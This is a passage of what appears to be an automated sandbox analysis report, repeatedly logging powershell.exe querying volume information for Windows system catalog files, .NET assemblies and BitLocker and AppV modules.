                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
